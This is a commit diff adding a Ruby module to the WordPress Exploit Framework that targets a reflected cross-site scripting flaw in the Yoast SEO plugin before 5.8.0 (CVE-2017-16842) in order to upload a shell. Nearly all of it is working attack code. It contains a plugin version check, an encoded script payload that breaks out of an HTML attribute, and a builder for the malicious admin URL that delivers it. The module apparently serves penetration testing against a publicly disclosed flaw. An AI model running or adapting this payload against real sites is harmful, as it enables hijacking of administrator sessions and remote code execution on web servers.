Add Yoast SEO < 5.8.0 reflected XSS shell upload

Author: rastating

modules/exploit/xss/reflected/yoast_seo_xss_shell_upload.rb

@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::YoastSeoXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Yoast SEO < 5.8.0 Reflected XSS Shell Upload',
+      author: [
+        'Elias Dimopoulos', # Dislosure
+        'rastating'         # WPXF module
+      ],
+      references: [
+        ['CVE', '2017-16842'],
+        ['WPVDB', '8960']
+      ],
+      date: 'Nov 15 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('wordpress-seo', '5.8.0')
+  end
+
+  def xss_payload
+    url_encode("settings'><script>#{xss_ascii_encoded_include_script}</script><!--")
+  end
+
+  def url_with_xss
+    "#{wordpress_url_admin_options}?page=wpseo_search_console&tab=#{xss_payload}"
+  end
+end